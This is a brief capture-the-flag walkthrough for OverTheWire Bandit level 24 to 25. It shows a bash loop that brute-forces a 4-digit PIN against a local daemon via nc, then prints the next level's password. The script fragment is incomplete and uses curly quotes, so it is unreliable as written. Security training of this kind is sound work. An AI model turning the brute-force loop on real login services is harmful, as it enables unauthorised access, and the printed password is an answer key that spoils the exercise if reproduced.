OverTheWire: Bandit Level 24 to Level 25

Level goal: A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.


The following is my script to perform this brute-forcing techqnies,




while [ $pin -lt 10000 ]; do

echo “Attempting PIN: $pin”

attempt=”$(echo $pass24 $pin | nc localhost 30002)”

if ! [[ $attempt == *”Wrong!”* ]]; then

echo -ne “$attempt”





The script will iterate through each possible PIN to perform brute forcing in identifying the secret pincode of bandit25.


The password to gain access to the next level is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG.


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